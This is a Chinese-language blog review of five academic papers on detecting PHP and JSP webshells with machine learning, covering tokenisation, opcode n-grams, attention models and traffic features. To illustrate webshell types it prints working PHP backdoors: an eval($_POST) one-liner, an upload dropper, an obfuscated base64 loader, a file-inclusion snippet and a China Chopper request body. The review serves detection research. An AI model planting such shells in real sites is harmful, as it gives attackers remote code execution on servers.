Webshell论文系列
- 相关论文
- 1.Webshell Detection Based on the Word Attention Mechanism
- 2.Mitigating Webshell Attacks through Machine Learning Techniques
- 3.Webshell Traffic Detection With Character-Level Features Based on Deep Learning
- 4.WS-LSMR: Malicious WebShell Detection Algorithm Based on Ensemble Learning
- 5.WebShell Attack Detection Based on a DeepSuper Learner
- 总结
- 参考文献
相关论文
1.Webshell Detection Based on the Word Attention Mechanism
这篇文章作者主要用 text embedding + attention模型的方法对jsp,php等脚本进行分类。
任务:二分类(是否属于webshell)
作者的代码也上传到了github:Programe
预处理
对于如下php代码,以及分词后的结果:
<?php
function foo(&$var)
{
$var=$var.'t';
}
$a="asser";
foo($a);
$a($_GET[cmd]);
可以看到作者用的是一个简单的正则表达式把一个脚本转换成了一个二维文本,之后便是选用深度学习模型分类的事了(HAN模型可以一战)。
这里作者首先用word2vec训练出一个初始化向量(用于embedding初始化,这样可以提高准确率)
模型选择
作者选用了一个普通的attention模型。
作者给出的框架图如下(可惜我不会画深度学习框架图):
一个php脚本预处理后会转换成一个二维文本
[
s
1
,
.
.
.
.
,
s
n
]
[s_1, ...., s_n]
[s1,....,sn]
s
i
s_i
si 表示第
i
i
i 行文本, 而上图表示第
n
n
n 行文本的处理过程。
假设php脚本最多有 M a x S e n t e n c e MaxSentence MaxSentence 行文本, 每行有 M a x W o r d MaxWord MaxWord 个词, 每个词嵌入维度为 E m b e d d i n g S i z e EmbeddingSize EmbeddingSize 。
参考作者的代码:
训练过程输入的向量为 [ B a t c h , M a x S e n t e n c e , M a x W o r d , E m b e d d i n g S i z e ] [Batch, MaxSentence, MaxWord, EmbeddingSize] [Batch,MaxSentence,MaxWord,EmbeddingSize] (默认不包括embedding层)
其中的RNN, attention 都是针对单行文本的,假设rnn隐层维度为 R n n S i z e RnnSize RnnSize ,作者用双向rnn。则通过rnn后向量shape为 : [ B a t c h , M a x S e n t e n c e , M a x W o r d , 2 × R n n S i z e ] [Batch, MaxSentence, MaxWord, 2 \times RnnSize] [Batch,MaxSentence,MaxWord,2×RnnSize]
进行attention后shape为: [ B a t c h , M a x S e n t e n c e , 2 × R n n S i z e ] [Batch, MaxSentence, 2 \times RnnSize] [Batch,MaxSentence,2×RnnSize] (命名向量review_output)
上述过程都是针对单行文本的,多行文本之间彼此没有联系
之后便将多行文本进行attention:
将上述向量review_output通过Dense层,获得向量pred1:
[
B
a
t
c
h
,
M
a
x
S
e
n
t
e
n
c
e
,
1
]
[Batch, MaxSentence, 1]
[Batch,MaxSentence,1]
对pred1进行重组,形成
[
B
a
t
c
h
,
1
,
M
a
x
S
e
n
t
e
n
c
e
]
[Batch, 1, MaxSentence]
[Batch,1,MaxSentence] 的向量, 在与 review_output向量进行 batch_dot,
得到 gate_output :
[
B
a
t
c
h
,
2
×
R
n
n
S
i
z
e
]
[Batch, 2 \times RnnSize]
[Batch,2×RnnSize] (还有一个squeeze操作)
之后再将gate_output通过一个Dense层,得到pred: [ B a t c h , 1 ] [Batch, 1] [Batch,1] (最终结果)
总结
这篇文献作者提出的模型,可以用HAN试试。
在分词方面,可以用token embedding改进,text embedding基本是用正则表达式分词,比如$_GET
在php中是一个超全局变量,分词后理应作为一个整体,而这里却分成了$ _ GET
3个词。
2.Mitigating Webshell Attacks through Machine Learning Techniques
解决的问题:webshell的分类(针对php脚本)
采用的方法:朴素贝叶斯 + opcode
对webshell的分类
1.简单webshell
<?php
@eval($_POST["a"]);
?>
通过客户端(攻击者)的http请求传入数据,并执行相应操作。这个例子通过post请求的参数a传入恶意代码并执行。
2.上传马
<?php
if(isset($_POST["upload"])){
@file_put_contents($_POST["path"],$_POST["content"]);
}
?>
大部分网站都会限制用户上传文件的大小,所以上传马会被攻击者用来当作上传多功能木马(大马)的跳板。
3.多功能木马(大马)
多功能代码通常功能非常丰富,包括端口扫描,命令执行,文件操作,数据库操作等。
需要解决的webshell分类中的难题
难题主要是webshell往往会采用一些混淆操作
<?php
$fo="UE9";
$bp="TVFt4e";
$jsh="HqhdKTsKCqg==";
$un = str_replace("b","","bsbtbrb_brbepblbabcbe");$bf="CkqBldqmFsKCRf";
$clh = $un("y", "", "ybyasyey64y_ydyeycyodye");
$nbg = $un("ev","","evcevreateve_evfevuevncevtievon");
$ze = $nbg(’’, $clh($un("q", "", $bf.$fo.$bp.$jsh)));
$ze();
?>
<?php
function func() {
return "ev"."al";
}
$a = func();
$a(${"_PO"."ST"}["passwd"]);
?>
以及文件包含
<?php
$filename = $_GET[’page’];
include($filename);
?>
检测框架
对于如下php代码:
<?php
eval($_POST['CMD']);
?>
得到如下opcode序列:
之后便是用2-gram如下图所示:
然后将2-gram序列用tf-idf处理,之后通过朴素贝叶斯模型对其进行分类。
3.Webshell Traffic Detection With Character-Level Features Based on Deep Learning
解决的问题:webshell分类(基于网络流量分类)
webshell的分类
这篇文章里,作者从流量的角度对webshell进行如下分类:
Browser & Server (B&S) Based Webshell:
主要存在于网站环境,通过浏览器与服务器交互。黑客通过网站服务端的文件上传漏洞或者其他漏洞到网站服务器,之后如果黑客通过浏览器发送恶意命令到服务端,服务器执行后结果也会回显到浏览器上。
Client & Server (C&S) Based Webshell:
通过其它的客户端软件(curl命令,中国菜刀)来发送http请求,服务器执行命令结果也会回显在对应的界面上(命令行或者菜刀的界面)。
这两类webshell都通过url和http请求与服务器交互。
webshell的流量样例
一些webshell的流量(一个流量样本是一次访问请求)
特征
URL特征:
webshell通常会访问服务器端一些敏感的目录,比如:images/ , css/ 。并且访问的文件名通常以 jsp,asp, php结尾。而 images ,css目录中不可能有脚本文件。甚至还存在 .asp;png 这样的后缀名,这是为了回避文件上传验证。
POST请求体特征:
以中国菜刀举例,它的请求体会出现如下数据:
c=@eval(base64_decode($_post[z0]));&z0=∗∗∗∗∗∗∗∗∗∗∗∗
典型的webshell(请求的数据出现php代码)
分类方法
将url和请求体当成一个字符序列,进行序列分类。模型如下图所示:
其中每个字符映射为其ascii码值。
4.WS-LSMR: Malicious WebShell Detection Algorithm Based on Ensemble Learning
解决的问题:webshell的分类(针对php脚本)
采用的方法:opcode + 4-gram + 集成学习模型(Logistic Regression,SVM,MLP,逻辑森林)
源代码的向量化
1.将源代码编译成opcode
2.分别用unigram和4-gram + TF-IDF向量化opcode序列
特征选择
使用unigram的词概率算出4-gram的转移概率矩阵,之后通过随机森林选出4-gram中重要的特征
总体框架
最后的预测结果由4种基础分类器加权而成。
5.WebShell Attack Detection Based on a DeepSuper Learner
论文的任务:webshell分类(针对php)
方法:opcode + static feature + 机器学习分类算法
检测框架如下图所示:
特征选取
在特征选取这块作者走了2条路,一条是opcode,另外一条是静态特征
静态特征包括:字符串长度的方差,信息熵(混淆过的php脚本信息熵高), 文件压缩比, 特征字符串(eval,base64等等)等。
在训练模型的时候,作者用的是opcode sequence,然后将opcode sequence用word2vec向量化,之后便是特征选取,我的理解是降维。
Deep Super Learner
在特征选取过后,便是分类算法,
这里作者讨论的是简单的DNN和MLP,LR以及随机森林等等。
总结
上面是最近的关于webshell检测的论文,基于流量的检测应该还算靠谱,不过其它的静态检测的论文大部分都花了大篇章介绍机器学习算法,而缺少了代码检测和 code embedding 的知识。